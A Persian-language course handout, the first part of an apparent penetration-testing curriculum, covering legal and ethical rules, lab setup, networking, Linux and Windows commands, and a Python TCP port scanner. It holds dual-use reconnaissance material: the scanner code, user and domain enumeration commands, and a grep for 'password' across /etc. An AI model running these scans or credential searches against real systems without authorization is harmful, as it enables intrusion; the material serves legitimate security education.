مسیر حرفه‌ای هک و امنیت سایبری

قسمت ۱: سطح ۰ و سطح ۱ — پایه‌ها، لابراتوار و شناسایی

جزوه‌ی آموزشی کامل با توضیح، مثال و تمرین برای هر مبحث

> هشدار قانونی و اخلاقی:
> تمام تمرین‌های این جزوه فقط باید روی سیستم‌ها، شبکه‌ها و حساب‌های آزمایشی مجاز (لابراتوار شخصی، کارگاه آموزشی دانشگاه، پلتفرم‌های CTF، یا برنامه‌های Bug Bounty با دامنه‌ی مجاز) اجرا شوند. دسترسی یا حمله‌ی غیرمجاز به هر سیستم دیگری طبق قانون جرایم رایانه‌ای جرم است.

فهرست این قسمت

- سطح ۰ — قانون، اخلاق، چرخه‌ی حمله و ساخت لابراتوار
- سطح ۱ — شبکه، لینوکس، ویندوز، پایتون، OSINT و اسکن

این جزوه اولین قسمت از یک مجموعه‌ی پنج‌قسمتی است که مسیر کامل یادگیری هک و امنیت سایبری را، از پایه تا سطح پیشرفته، با توضیح کامل و مثال عملی پوشش می‌دهد. قسمت‌های بعدی (وب‌اپلیکیشن، سیستم و Active Directory، وای‌فای و موبایل، و باینری/مهندسی معکوس) به همین ترتیب تهیه خواهند شد.

سطح ۰ — قانون، اخلاق، چرخه‌ی حمله و ساخت لابراتوار

۰.۱ چرا «سطح صفر» قبل از هر چیز فنی می‌آید؟

در خیلی از آموزش‌های هک، بحث قانون و اخلاق فقط یک پاراگراف کوتاه در ابتدای کار است که همه از رویش رد می‌شوند تا زودتر برسند به بخش «جذاب». ولی واقعیت این است که تفاوت بین یک متخصص امنیت حرفه‌ای و یک مجرم سایبری، از نظر فنی تقریباً هیچ است — هر دو ممکن است دقیقاً از یک ابزار و یک تکنیک استفاده کنند. تنها تفاوت واقعی، «اجازه» است. برای همین، قبل از یادگیری اولین دستور فنی، باید این مرز کاملاً روشن باشد.

۰.۲ قانون طلایی

> قانون طلایی:
> بدون اجازه‌ی کتبی، هیچ تستی روی هیچ سیستمی — حتی «فقط یک تست کوچیک» یا «فقط یک اسکن ساده» — مجاز نیست. حتی اگر قصد آسیب رساندن نداشته باشید، صرف اسکن یا تلاش برای ورود به یک سیستم بدون اجازه، در اکثر کشورها (از جمله ایران طبق قانون جرایم رایانه‌ای مصوب ۱۳۸۸) جرم محسوب می‌شود.

چه چیزهایی مجاز است؟

- ماشین‌های مجازی متعلق به خودتان (VirtualBox یا VMware روی سیستم شخصی)
- تجهیزات آزمایشگاهی رسمی دانشگاه یا محل کار که مشخصاً برای تمرین معرفی شده‌اند
- پلتفرم‌های آموزشی طراحی‌شده برای این کار (TryHackMe، HackTheBox، VulnHub)
- برنامه‌های Bug Bounty رسمی، فقط در محدوده‌ی (Scope) اعلام‌شده توسط خود برنامه
- شبکه و دستگاه‌های شخصی خودتان (مثل مودم خانه، با رعایت اینکه خانواده هم مطلع باشند)

چه چیزهایی مطلقاً ممنوع است؟

- هر سایت، سرور، شبکه، مودم یا حسابی که متعلق به شما نیست و اجازه‌ی رسمی برای آن ندارید
- حتی «فقط یک اسکن» روی یک سیستم واقعی بدون اجازه — اسکن هم نوعی حمله محسوب می‌شود
- استفاده از تکنیک‌های این آموزش روی وای‌فای یا حساب افراد دیگر، حتی با انگیزه‌ی «فقط امتحان کردن»

۰.۳ جریان کار حرفه‌ای یک تست نفوذ قانونی

در دنیای واقعی، هر پروژه‌ی تست نفوذ این مراحل قانونی را طی می‌کند، نه فقط بخش فنی:

مرحله	توضیح
۱. تعیین دامنه	توافق دقیق درباره‌ی اینکه چه IP ها، دامنه‌ها یا سیستم‌هایی مجاز به تست هستند
۲. امضای فرم مجوز	یک سند رسمی و امضاشده (نمونه‌اش در پیوست قسمت آخر این مجموعه می‌آید)
۳. اجرای تست	طبق چارچوب زمانی و محدودیت‌های توافق‌شده
۴. ثبت مستند	یادداشت دقیق هر قدم، دستور و نتیجه (دقیقاً چیزی که در این جزوه هم تمرین می‌کنید)
۵. گزارش و اصلاح	ارائه‌ی یافته‌ها به صاحب سیستم همراه با راهکار رفع
۶. پاکسازی	حذف هر ردپا، حساب موقت یا ابزاری که در طول تست روی سیستم هدف گذاشته شده

۰.۴ چرخه‌ی حمله — نقشه‌ی ذهنی تمام این مسیر

تقریباً هر تکنیکی که در این مجموعه یاد می‌گیرید، جایی در این چرخه قرار می‌گیرد. یادگیری این چرخه مهم‌تر از حفظ کردن دستورات است، چون این همان چیزی است که شما را از «کسی که دستور کپی می‌کند» به «کسی که فکر می‌کند» تبدیل می‌کند.

مرحله	سؤال کلیدی	در کدام سطح این مجموعه
۱. شناسایی (Recon)	هدف چیست و چه اطلاعاتی درباره‌اش عمومی است؟	سطح ۱
۲. اسکن و شمارش	چه سرویس‌ها، پورت‌ها و نسخه‌هایی در حال اجراست؟	سطح ۱ و ۲
۳. بهره‌برداری (Exploitation)	کدام ضعف را می‌توان واقعاً استفاده کرد؟	سطح ۲ و ۳
۴. پس از بهره‌برداری	با این دسترسی، چه کار دیگری ممکن است؟	سطح ۳
۵. پاکسازی / گزارش	چطور این یافته را مستند و منتقل کنم؟	همه‌ی سطوح

مدل‌های استاندارد صنعتی که همین چرخه را با جزئیات بیشتر توصیف می‌کنند عبارتند از PTES، OSSTMM، Kill Chain سایبری، و چارچوب MITRE ATT&CK — آشنایی با نام این چارچوب‌ها برای مصاحبه‌های شغلی آینده مفید است.

۰.۵ ساخت لابراتوار شخصی

قبل از تمرین هر تکنیکی، به یک محیط ایزوله و کاملاً قانونی نیاز دارید. خوشبختانه ساخت این محیط رایگان و نسبتاً ساده است.

مؤلفه	چیست / چرا	کجا پیدا کنم
VirtualBox یا VMware	اجرای چند «کامپیوتر مجازی» داخل کامپیوتر اصلی، بدون خطر برای سیستم یا شبکه‌ی واقعی	virtualbox.org یا vmware.com
Kali Linux	سیستم‌عامل مخصوص تست نفوذ با صدها ابزار از پیش نصب‌شده	kali.org (نسخه‌ی VM آماده)
Metasploitable 2/3	یک لینوکس یا ویندوز عمداً آسیب‌پذیر، ساخته‌شده برای تمرین قانونی	صفحه‌ی رسمی Rapid7 در GitHub
DVWA	وب‌سایت آسیب‌پذیر کلاسیک برای تمرین SQLi، XSS و موارد مشابه	GitHub: digininja/DVWA
OWASP Juice Shop	وب‌سایت آسیب‌پذیر مدرن با بیش از ۱۰۰ چالش طبقه‌بندی‌شده	نسخه‌ی npm یا Docker
VulnHub	صدها ماشین مجازی تمرینی قابل دانلود، از سطح مبتدی تا پیشرفته	vulnhub.com
TryHackMe / HackTheBox	لابراتوار ابری با مسیرهای آموزشی گام‌به‌گام	tryhackme.com و hackthebox.com

همه‌ی ماشین‌های مجازی را روی یک شبکه‌ی مجازی داخلی (Host-Only Network) قرار دهید تا ترافیک تمرین هرگز به شبکه‌ی واقعی خانه یا دانشگاه نشتی نداشته باشد. رنج آدرس پیشنهادی برای لابراتوار: 192.168.56.0/24

۰.۶ قوانین طلایی پیشرفت

- هر روز، حتی فقط ۳۰ دقیقه، تمرین کنید؛ شکاف‌های طولانی بزرگ‌ترین دشمن یادگیریِ مهارت فنی هستند

- برای هر تمرین، یک فایل یادداشت (مثلاً Markdown) با دستورات و نتایج بسازید — این یادداشت‌ها بعداً پایه‌ی رزومه و گزارش‌های شما می‌شوند
- وقتی روی یک چالش گیر کردید، حداقل ۳۰ دقیقه خودتان تلاش کنید، بعد راهنمایی بگیرید، و در پایان، راه‌حل را «بازتولید» کنید نه فقط «کپی»
- هر مبحث را به کسی توضیح دهید (حتی به خودتان با صدای بلند) — توضیح دادن، عمیق‌ترین شکل یادگیری است

سطح ۱ — بنیادها و شناسایی (Recon)

هدف این سطح، ساختن پایه‌ای محکم است: شبکه، لینوکس، ویندوز، پایتون و مهارت شناسایی (Recon). در پایان این سطح، باید بتوانید هر هدف مجازی را بشناسید، اسکن کنید، و برای آن اسکریپت اختصاصی بنویسید.

۱.۱ شبکه — زبان مشترک همه‌ی حملات

تقریباً هر حمله‌ای، چه روی وب باشد چه وای‌فای چه یک سرور، در نهایت از طریق شبکه رد و بدل می‌شود. بدون درک شبکه، هیچ تکنیک هکی قابل‌فهم نیست.

مدل لایه‌ای شبکه و ارتباطش با حملات

لایه	مثال پروتکل	نوع حمله‌ی مرتبط
لایه‌ی کاربرد (Application)	HTTP, DNS, FTP	حملات وب، XSS، SQL Injection
لایه‌ی انتقال (Transport)	TCP, UDP	اسکن پورت، حملات مبتنی بر پورت
لایه‌ی اینترنت (Internet)	IP, ICMP	حملات مسیریابی، IP Spoofing
لایه‌ی لینک (Link)	Ethernet, ARP, Wi-Fi	حملات وای‌فای، ARP Spoofing

آدرس IP و زیرشبکه

هر دستگاه در شبکه یک آدرس IP دارد. آدرس‌های خصوصی (که فقط داخل یک شبکه‌ی محلی معنا دارند و از اینترنت قابل‌دسترسی مستقیم نیستند) معمولاً با یکی از این الگوها شروع می‌شوند:

بازه‌ی خصوصی	نمونه‌ی رایج در کجا
10.0.0.0 تا 10.255.255.255	شبکه‌های سازمانی بزرگ
172.16.0.0 تا 172.31.255.255	شبکه‌های متوسط، داکر
192.168.0.0 تا 192.168.255.255	مودم‌های خانگی

NAT (Network Address Translation) مکانیزمی است که به دستگاه‌های پشت یک مودم اجازه می‌دهد با یک آدرس IP عمومی مشترک به اینترنت وصل شوند؛ همین مکانیزم دلیل اصلی این است که دستگاه‌های داخل یک شبکه‌ی خانگی، مستقیماً از بیرون قابل‌مشاهده و دسترسی نیستند — مگر اینکه یک پورت صراحتاً به بیرون باز (Forward) شده باشد.

پورت‌ها و پروتکل‌های ضروری

شناخت این جدول، پایه‌ی تمام کارهای اسکن و شناسایی در سطح‌های بعدی است:

پورت	سرویس	چرا برای هکر مهم است
21	FTP	گاهی اجازه‌ی ورود مهمان (Anonymous) بدون رمز می‌دهد؛ انتقال فایل رمزنگاری‌نشده
22	SSH	هدف رایج حملات Brute-Force؛ در صورت موفقیت، شل تعاملی کامل می‌دهد
23	Telnet	پروتکل قدیمی و بدون رمزنگاری؛ هنوز در برخی مودم‌ها و تجهیزات قدیمی فعال است
25 / 587	SMTP	ارسال ایمیل؛ محل آزمایش حملات فیشینگ و جعل فرستنده

53	DNS	تبدیل نام دامنه به IP؛ هدف حملاتی مثل Zone Transfer و شمارش ساب‌دامین
80 / 443	HTTP / HTTPS	بزرگ‌ترین سطح حمله در دنیای امروز: کل حوزه‌ی هک وب (سطح ۲)
445	SMB	اشتراک فایل ویندوز؛ محل حملات معروفی مثل EternalBlue
3389	RDP	دسکتاپ از راه دور ویندوز؛ هدف رایج Brute-Force و اکسپلویت
1433 / 3306	SQL Server / MySQL	دسترسی مستقیم به دیتابیس در صورت پیکربندی نادرست

دست‌دهی سه‌مرحله‌ای TCP (Three-Way Handshake)

قبل از اینکه دو دستگاه بتوانند با پروتکل TCP داده رد و بدل کنند، باید یک ارتباط برقرار شود. این فرایند سه مرحله دارد و پایه‌ی فهم اسکن‌های نوع SYN (که در سطح بعد با nmap می‌بینید) است:

مرحله	چه کسی می‌فرستد	معنی
۱. SYN	کلاینت → سرور	«می‌خواهم ارتباط برقرار کنم»
۲. SYN-ACK	سرور → کلاینت	«قبول دارم، آماده‌ام» (این پاسخ یعنی پورت باز است)
۳. ACK	کلاینت → سرور	«تایید می‌کنم»، و از این نقطه ارتباط کامل برقرار است

اسکنر nmap در حالت SYN Scan (با فلگ -sS) فقط مرحله‌ی اول را می‌فرستد و بعد از دریافت SYN-ACK، ارتباط را کامل نمی‌کند (ACK نهایی را نمی‌فرستد). به همین دلیل به آن اسکن «نیمه‌باز» (Half-Open) هم می‌گویند — سریع‌تر و کمی مخفیانه‌تر از اتصال کامل TCP است.

DNS، ARP و HTTP به‌اختصار

پروتکل	کار اصلی	ربط به هک
DNS	تبدیل نام دامنه (مثل example.com) به آدرس IP	شناسایی ساب‌دامین‌ها، DNS Spoofing
ARP	پیدا کردن آدرس فیزیکی (MAC) یک دستگاه از روی IP در شبکه‌ی محلی	پایه‌ی حملات ARP Spoofing (سطح ۳)
HTTP	پروتکل اصلی وب؛ شامل متدها (GET/POST)، کدهای وضعیت، هدرها	پایه‌ی کامل سطح ۲ (هک وب)

دستورات روزمره‌ی شبکه

دستور (لینوکس)	دستور (ویندوز)	کاربرد
`ip a`	`ipconfig /all`	نمایش آدرس IP، MAC و تنظیمات کارت شبکه
`ping 8.8.8.8`	`ping 8.8.8.8`	بررسی دسترس‌پذیری یک آدرس و اندازه‌گیری تأخیر
`traceroute google.com`	`tracert google.com`	نمایش مسیر عبور بسته‌ها تا مقصد
`dig example.com`	`nslookup example.com`	گرفتن اطلاعات DNS یک دامنه
`ss -tulpn`	`netstat -ano`	نمایش پورت‌های باز و پردازش مرتبط با هرکدام
`arp -a`	`arp -a`	نمایش جدول ARP (دستگاه‌هایی که اخیراً دیده شده‌اند)

نمایش جدول مسیریابی	`route print`	`ip r`

مدل‌های جایگزین همین دستورات — نمونه‌های واقعی بیشتر

خیلی از این دستورات فلگ‌ها و حالت‌های دیگری هم دارند. برای مهم‌ترین‌هاشان، قالب کلی و بعد چند مثال با توضیح خط‌به‌خط را می‌بینید.

ping — تست دسترس‌پذیری

```
ping [گزینه‌ها] آدرس_هدف

ping 8.8.8.8
ping -c 4 8.8.8.8
ping -t 8.8.8.8
```

دستور	توضیح خط‌به‌خط
ping 8.8.8.8	در لینوکس، بدون هیچ فلگی، ping تا وقتی که دستی با Ctrl+C متوقف نشود، هر یک ثانیه یک بسته می‌فرستد
ping -c 4 8.8.8.8	فلگ -c (count) تعداد بسته‌ها را مشخص می‌کند؛ عدد 4 یعنی دقیقاً ۴ بار بفرست و خودش متوقف شود
ping -t 8.8.8.8	این فلگ مخصوص ویندوز است (نه لینوکس)؛ -t یعنی تا ابد ادامه بده، چون در ویندوز رفتار پیش‌فرض محدود به ۴ بار است

dig — استعلام DNS

```
dig [گزینه‌ها] [نوع_رکورد] نام_دامنه

dig example.com
dig example.com MX
dig +short example.com
```

دستور	توضیح خط‌به‌خط
dig example.com	بدون مشخص کردن نوع رکورد، به‌طور پیش‌فرض رکورد A (آدرس IPv4) دامنه را برمی‌گرداند؛ خروجی شامل جزئیات کامل (زمان پاسخ، سرور پاسخ‌دهنده و غیره) است
dig example.com MX	کلمه‌ی MX بعد از نام دامنه، نوع رکورد درخواستی را عوض می‌کند؛ رکورد MX آدرس سرورهای ایمیل آن دامنه را برمی‌گرداند
dig +short example.com	فلگ +short خروجی طولانی پیش‌فرض را حذف و فقط خودِ نتیجه (مثلاً فقط آدرس IP) را نشان می‌دهد؛ برای استفاده در اسکریپت بسیار مناسب‌تر است

دستورات دیگر به‌طور خلاصه

دستور پایه	نسخه‌ی جایگزین	چه فرقی دارد
ip a	ip addr show dev eth0	فقط اطلاعات یک کارت شبکه‌ی خاص (eth0) را نشان می‌دهد، نه همه‌ی کارت‌ها
traceroute google.com	traceroute -I google.com	به‌جای بسته‌ی UDP پیش‌فرض، از ICMP (مثل ping) استفاده می‌کند؛ گاهی از فایروال بهتر عبور می‌کند
ss -tulpn	ss -tulpn | grep LISTEN	فقط پورت‌هایی که در حالت گوش‌دادن (Listening) هستند را نشان می‌دهد

netstat -ano	netstat -ano | findstr :445	در ویندوز، فقط خطوط مربوط به یک پورت خاص (مثلاً 445) را فیلتر می‌کند
nslookup example.com	nslookup -type=TXT example.com	رکورد TXT را می‌گیرد (اغلب شامل تنظیمات SPF/DKIM ایمیل است)

ابزارهای جایگزین برای همان هدف

هدف	ابزار اصلی	جایگزین‌ها
بررسی دسترس‌پذیری	ping	fping (برای تست چند IP هم‌زمان)، hping3 (برای ساخت بسته‌ی دستی)
تحلیل DNS	dig / nslookup	host example.com (خروجی خلاصه‌تر)، dnsenum (برای شمارش کامل DNS یک دامنه)
دیدن پورت‌های باز سیستم خودم	ss / netstat	lsof -i (در لینوکس، نمایش فایل‌ها و اتصالات باز هر پردازش)
ضبط ترافیک شبکه	Wireshark (رابط گرافیکی)	tcpdump (خط فرمان، برای سرورهای بدون رابط گرافیکی): tcpdump -i eth0 -w capture.pcap

تمرین عملی ۱.۱: نقشه‌برداری شبکه‌ی لابراتوار

1. با ip a یا ipconfig، آدرس IP، ماسک شبکه و gateway خودتان را یادداشت کنید
2. چند آدرس دیگر در همان بازه را با ping بررسی کنید تا ببینید کدام‌ها فعال‌اند
3. با Wireshark یک ضبط ۵ دقیقه‌ای از ترافیک بگیرید و سعی کنید یک بسته‌ی DNS، یک بسته‌ی ARP و یک درخواست HTTP کامل را پیدا و تحلیل کنید
4. خروجی نهایی: یک جدول با ستون‌های «دستگاه → IP → MAC → سرویس احتمالی»

۱.۲ لینوکس — خانه‌ی دوم هکر

تقریباً تمام ابزارهای تست نفوذ روی لینوکس (معمولاً توزیع Kali) اجرا می‌شوند. تسلط بر خط فرمان لینوکس یک پیش‌نیاز غیرقابل‌مذاکره است.

ساختار فایل‌ها و دسترسی‌ها

مسیر	محتوا
`/etc`	فایل‌های تنظیمات کل سیستم
`/var/log`	فایل‌های لاگ سیستم و سرویس‌ها
`/home`	پوشه‌ی شخصی هر کاربر
`/tmp`	فایل‌های موقت؛ معمولاً همه‌ی کاربران اجازه‌ی نوشتن دارند
`/opt`	محل نصب نرم‌افزارهای اضافی (غیر از پکیج‌های رسمی توزیع)

هر فایل سه سطح دسترسی دارد (خواندن r، نوشتن w، اجرا x) که به‌طور جداگانه برای مالک، گروه، و بقیه تعریف می‌شود. فهم دقیق این مدل در سطح ۳ (ارتقای دسترسی) حیاتی می‌شود:

```
-rwxr-xr--  1 hossein  users  1024  scan.py
```

دستور	کاربرد
`chmod +x file`	اضافه کردن دسترسی اجرا
`chmod 755 file`	تنظیم دقیق: rwx برای مالک، r-x برای گروه و بقیه
`chown user:group file`	تغییر مالک و گروه یک فایل

۲۵ دستور ضروری لینوکس

دستور	کاربرد
`pwd`	نمایش مسیر پوشه‌ی فعلی
`ls -la`	لیست کامل فایل‌ها (شامل مخفی‌ها و جزئیات دسترسی)
`cd <path>`	جابه‌جایی بین پوشه‌ها
`cat / less / head / tail`	نمایش محتوای فایل (کامل، صفحه‌به‌صفحه، ابتدا، انتها)
`grep -rn "text" .`	جست‌وجوی یک عبارت در تمام فایل‌های یک پوشه، همراه با شماره‌خط
`find / -name "*.conf"`	جست‌وجوی فایل در کل سیستم بر اساس الگوی نام
`mkdir / touch / cp / mv / rm`	ساخت پوشه، ساخت فایل خالی، کپی، جابه‌جایی، حذف
`whoami / id`	نمایش کاربر فعلی و گروه‌های آن
`sudo -l`	نمایش اینکه کاربر فعلی چه دستوراتی را می‌تواند با sudo اجرا کند
`ps aux`	نمایش تمام پردازش‌های در حال اجرا
`systemctl status <service>`	بررسی وضعیت یک سرویس
`tar -xzvf file.tar.gz`	استخراج یک فایل فشرده
`wget / curl -O`	دانلود یک فایل از اینترنت
`history | grep ssh`	جست‌وجو در تاریخچه‌ی دستورات اجراشده
`chmod +x script.sh`	اجرایی کردن یک اسکریپت
`useradd -m test`	ساخت یک کاربر جدید همراه با پوشه‌ی خانگی

پردازش متن — یک مهارت کم‌دیده ولی فوق‌العاده قدرتمند

ترکیب چند دستور ساده‌ی لینوکس با عملگر لوله (|) می‌تواند کار یک ابزار تحلیل کامل را انجام دهد:

```
cat access.log | grep "404" | cut -d' ' -f1 | sort | uniq -c | sort -rn
| head -20
```

بخش دستور	توضیح
"grep "404	فقط خطوطی که کد وضعیت 404 (یافت نشد) دارند را نگه می‌دارد
cut -d' ' -f1	فقط ستون اول (معمولاً آدرس IP) هر خط را جدا می‌کند
sort | uniq -c	آدرس‌های تکراری را می‌شمارد
sort -rn | head -20	نتایج را بر اساس تعداد، نزولی مرتب و فقط ۲۰ مورد اول را نشان می‌دهد

نتیجه: پرتکرارترین ۲۰ آدرس IP که درخواست‌های ناموفق فرستاده‌اند — دقیقاً نوع تحلیلی که در بررسی لاگ‌های امنیتی انجام می‌شود.

چند دستور مهم دیگر — با قالب کلی و مثال واقعی

برای دستورات پرکاربرد زیر، اول قالب کلی (الگوی نوشتاری دستور) را می‌بینید، و بعد چند مثال واقعی که نشان می‌دهد همان دستور با پارامترهای مختلف چه کاربردهای متفاوتی پیدا می‌کند.

kill — متوقف کردن یک پردازش

دستور kill یک سیگنال به یک پردازش در حال اجرا می‌فرستد. رایج‌ترین استفاده، درخواست یا اجبار به بسته شدن آن پردازش است.

```
kill [سیگنال] PID
```

بخش	توضیح
kill	خود دستور؛ یعنی «یک سیگنال بفرست»
[سیگنال]	اختیاری؛ نوع پیام ارسالی به پردازش — رایج‌ترین‌ها -15 (درخواست مؤدبانه) و -9 (اجبار فوری) هستند؛ اگر چیزی ننویسید، پیش‌فرض -15 است
PID	شماره‌ی شناسایی پردازش هدف؛ با دستور ps aux به‌دست می‌آید

```
kill -15 1234
kill -9 1234
killall firefox
```

دستور	توضیح خط‌به‌خط
kill -15 1234	سیگنال SIGTERM (شماره ۱۵) به پردازش ۱۲۳۴ می‌فرستد؛ این یک «درخواست» است، پردازش می‌تواند قبل از بسته شدن کار نیمه‌تمامش را ذخیره کند
kill -9 1234	عدد ۹ یعنی سیگنال SIGKILL؛ به‌جای «درخواست»، سیستم‌عامل خودش پردازش را فوری از حافظه حذف می‌کند، بدون اینکه خود پردازش فرصت واکنش داشته باشد — برای همین فقط وقتی پردازش قفل کرده و به -15 پاسخ نمی‌دهد استفاده می‌شود
killall firefox	به‌جای عدد PID، نام پردازش را می‌گیرد؛ هر پردازشی با این نام (حتی اگر چند نسخه هم‌زمان باز باشد) را می‌بندد

chmod — تغییر مجوز دسترسی فایل

قبلاً دیدید chmod +x یک فایل را اجرایی می‌کند؛ ولی قالب کامل‌تر آن اجازه‌ی کنترل دقیق‌تری می‌دهد:

```
chmod [چه کسی][عملگر][مجوز] فایل
```

بخش	توضیح
[چه کسی]	می‌تواند u (مالک/user)، g (گروه/group)، o (بقیه/others)، یا a (همه/all) باشد
[عملگر]	می‌تواند + (اضافه کردن دسترسی)، - (حذف دسترسی)، یا = (تنظیم دقیق و جایگزینی کامل) باشد
[مجوز]	ترکیبی از r (خواندن)، w (نوشتن)، x (اجرا)

```
chmod u+x script.sh
chmod g-w file.txt
chmod 644 file.txt
```

دستور	توضیح خط‌به‌خط
chmod u+x script.sh	u یعنی فقط مالک فایل؛ + یعنی این دسترسی را اضافه کن؛ x یعنی دسترسی اجرا — یعنی فقط مالک می‌تواند این فایل را اجرا کند، نه گروه و نه بقیه
chmod g-w file.txt	g یعنی گروه؛ - یعنی حذف کن؛ w یعنی دسترسی نوشتن — یعنی اعضای گروه دیگر نمی‌توانند این فایل را تغییر دهند
chmod 644 file.txt	روش عددی: هر رقم معادل مجموع r=4، w=2، x=1 است؛ رقم اول (rw=۶-) برای مالک، رقم دوم (r=۴--) برای گروه، رقم سوم (r=۴--) برای بقیه

find — جست‌وجوی فایل با شرط‌های مختلف

```
find [مسیر] [شرط‌ها]
```

بخش	توضیح
[مسیر]	از کجا جست‌وجو شروع شود؛ / یعنی از ریشه‌ی کل سیستم بگرد
[شرط‌ها]	یک یا چند فیلتر که نتیجه را محدود می‌کنند؛ می‌توان چند شرط را با هم ترکیب کرد

```
find / -name "*.conf"
find / -mtime -1 -type f
find / -size +100M
```

دستور	توضیح خط‌به‌خط
find / -name "*.conf"	از ریشه‌ی سیستم (/) شروع کن؛ -name یعنی بر اساس نام فیلتر کن؛ *.conf یعنی هر فایلی که با .conf تمام می‌شود (علامت * یعنی هر متنی قبل از آن مجاز است)
find / -mtime -1 -type f	-mtime -1 یعنی فایل‌هایی که زمان آخرین تغییرشان کمتر از ۱ روز پیش بوده؛ -type f یعنی فقط فایل‌های معمولی را نشان بده، نه پوشه‌ها
find / -size +100M	-size +100M یعنی فقط چیزهایی که اندازه‌شان بیشتر از ۱۰۰ مگابایت است؛ M برای مگابایت است، به‌جای آن می‌توان از k (کیلوبایت) یا G (گیگابایت) هم استفاده کرد

grep — جست‌وجوی متن داخل فایل‌ها

```
grep [گزینه‌ها] "الگو" فایل_یا_مسیر
```

بخش	توضیح
[گزینه‌ها]	تنظیماتی مثل -r (بازگشتی در زیرپوشه‌ها)، -n (نمایش شماره‌خط)، -i (نادیده گرفتن بزرگی/کوچکی حروف)
"الگو"	متن یا عبارت باقاعده‌ای که دنبالش می‌گردید
فایل_یا_مسیر	کجا جست‌وجو انجام شود؛ یک فایل خاص یا یک پوشه (با -r)

```
grep -rn "password" /etc
grep -rni "password" /etc
grep -rn -E "user[0-9]+" /etc
```

دستور	توضیح خط‌به‌خط
grep -rn "password" /etc	-r یعنی داخل تمام زیرپوشه‌های /etc هم بگرد؛ -n یعنی شماره‌خط هر مورد پیداشده را هم نشان بده؛ "password" دقیقاً همین رشته را جست‌وجو می‌کند
grep -rni "password" /etc	دقیقاً مثل بالا، فقط با اضافه شدن -i: یعنی Password، PASSWORD و password هرسه پیدا می‌شوند
grep -rn -E "user[0-9]+" /etc	-E یعنی از عبارت باقاعده‌ی توسعه‌یافته (Extended Regex) استفاده کن؛ الگوی user[0-9]+ یعنی کلمه‌ی user به‌همراه یک یا چند رقم بعدش (مثل user1 یا user42)؛ [0-9]+ به ترتیب یعنی «یکی از این ارقام» و + یعنی «یک یا چند بار تکرار»

یک مثال ترکیبی: شمارش خطوط لاگ به چند روش

فرض کنید می‌خواهید یک فایل لاگ وب‌سرور را از زوایای مختلف تحلیل کنید:

```
awk '{print $4}' access.log | cut -d: -f2 | sort | uniq -c
# شمارش تعداد درخواست‌ها به تفکیک ساعت

grep -c " 500 " access.log
# شمارش کل خطوطی که کد خطای سرور (500) دارند

awk -F'"' '{print $6}' access.log | sort | uniq -c | sort -rn | head -10
# پرتکرار که به سایت درخواست ده مرورگر/ابزار (User-Agent) فرستاده‌اند
```

تمرین عملی ۱.۲: ۲۰ تمرین ترمینال

1. یک کاربر جدید بسازید و با su به آن سوییچ کنید
2. یک فایل بسازید و دسترسی آن را سه بار با مقادیر مختلف chmod تغییر دهید
3. با grep در فایل لاگ ورود (auth.log)، تلاش‌های ناموفق ورود را بشمارید
4. یک job با cron بسازید که هر دقیقه تاریخ را در یک فایل بنویسد
5. با ssh به یک ماشین دیگر در لابراتوار وصل شوید

۱.۳ ویندوز برای هکر

حتی اگر لینوکس سیستم‌عامل اصلی ابزارهای هک است، بسیاری از اهداف واقعی (به‌خصوص در سازمان‌ها) ویندوز هستند. آشنایی با خط فرمان و PowerShell ویندوز ضروری است.

دستور	کاربرد
`net user`	لیست کاربران محلی
`net localgroup administrators`	لیست اعضای گروه ادمین
`tasklist /svc`	لیست پردازش‌ها همراه با سرویس مرتبط
`sc query`	لیست و وضعیت سرویس‌های ویندوز
`netstat -ano`	پورت‌های باز و شناسه‌ی پردازش مرتبط
`netsh advfirewall show allprofiles`	وضعیت فایروال
`net share`	لیست اشتراک‌های SMB فعال
`reg query <key>`	خواندن مقادیر رجیستری

پایه‌ی PowerShell

```
Get-Process                 # لیست پردازش‌های در حال اجرا
Get-Service                 # لیست سرویس‌ها
Get-LocalUser               # لیست کاربران محلی
Get-NetTCPConnection        # اتصالات شبکه‌ی فعال
```

دستورات ویندوز و PowerShell در سطح ۳ (ارتقای دسترسی و Active Directory) اهمیت بسیار بیشتری پیدا می‌کنند — همین الان فقط باید با آن‌ها آشنا شوید، تسلط کامل بعداً شکل می‌گیرد.

مدل‌های جایگزین دستورات ویندوز

دستور پایه	نسخه‌ی جایگزین	چه فرقی دارد
net user	net user username /domain	اطلاعات یک کاربر خاص را از خود دامنه (نه فقط محلی) می‌گیرد
tasklist /svc	tasklist /v	اطلاعات بیشتر شامل نام کاربر اجراکننده‌ی هر پردازش
netstat -ano	Get-NetTCPConnection (PowerShell)	همان اطلاعات را به‌شکل جدول ساختاریافته و قابل‌فیلتر در PowerShell می‌دهد
Get-Process	Get-Process | Sort-Object CPU -Descending	پردازش‌ها را بر اساس مصرف CPU مرتب می‌کند
Get-LocalUser	* Get-ADUser -Filter	در محیط Active Directory، به‌جای کاربران محلی، کاربران کل دامنه را می‌گیرد
<reg query <key	reg query <key> /s	جست‌وجوی بازگشتی در تمام زیرکلیدهای رجیستری، نه فقط سطح اول

۱.۴ پایتون برای هکر — از حلقه تا اسکنر

پایتون زبان اصلی ابزارنویسی امنیتی است. اگر پایه‌های پایتون (متغیر، شرط، حلقه، تابع، فایل) را از جزوه‌ی «راهنمای پایتون و هک» که پیش‌تر ساختیم مسلط شده‌اید، اینجا مستقیم می‌رویم سراغ ساخت ابزار واقعی.

پروژه‌ی ۱: اسکنر پورت با آرگومان خط فرمان

نسخه‌ی حرفه‌ای‌تر اسکنر پورت که در جزوه‌ی قبلی ساختیم، این‌بار با قابلیت گرفتن ورودی از خط فرمان:

```
import socket, argparse

parser = argparse.ArgumentParser()
parser.add_argument("host")
parser.add_argument("-t", "--top", type=int, default=20)
args = parser.parse_args()

common_ports =
[21,22,23,25,53,80,110,135,139,443,445,1433,3306,3389,5900,8080,8443]

for port in common_ports[:args.top]:
    s = socket.socket()
    s.settimeout(0.8)
    if s.connect_ex((args.host, port)) == 0:
        print(f"[+] OPEN {port}")
    s.close()
```

خط کد	توضیح
import argparse	ماژول استاندارد برای ساخت رابط خط فرمان حرفه‌ای با آرگومان‌های نام‌دار
parser.add_argument("host")	یک آرگومان اجباری تعریف می‌کند؛ کاربر باید هنگام اجرا آدرس هدف را بدهد
parser.add_argument("-t", "--top", ...)	یک آرگومان اختیاری با مقدار پیش‌فرض ۲۰ تعریف می‌کند؛ هم با -t هم با --top قابل‌استفاده است
args = parser.parse_args()	آرگومان‌های واقعی خط فرمان را می‌خواند و در شیء args

	قرار می‌دهد
common_ports[:args.top]	فقط به تعداد args.top پورت اول از لیست را بررسی می‌کند

نحوه‌ی اجرا از ترمینال:

```
python3 scanner.py 192.168.56.10 --top 10
```

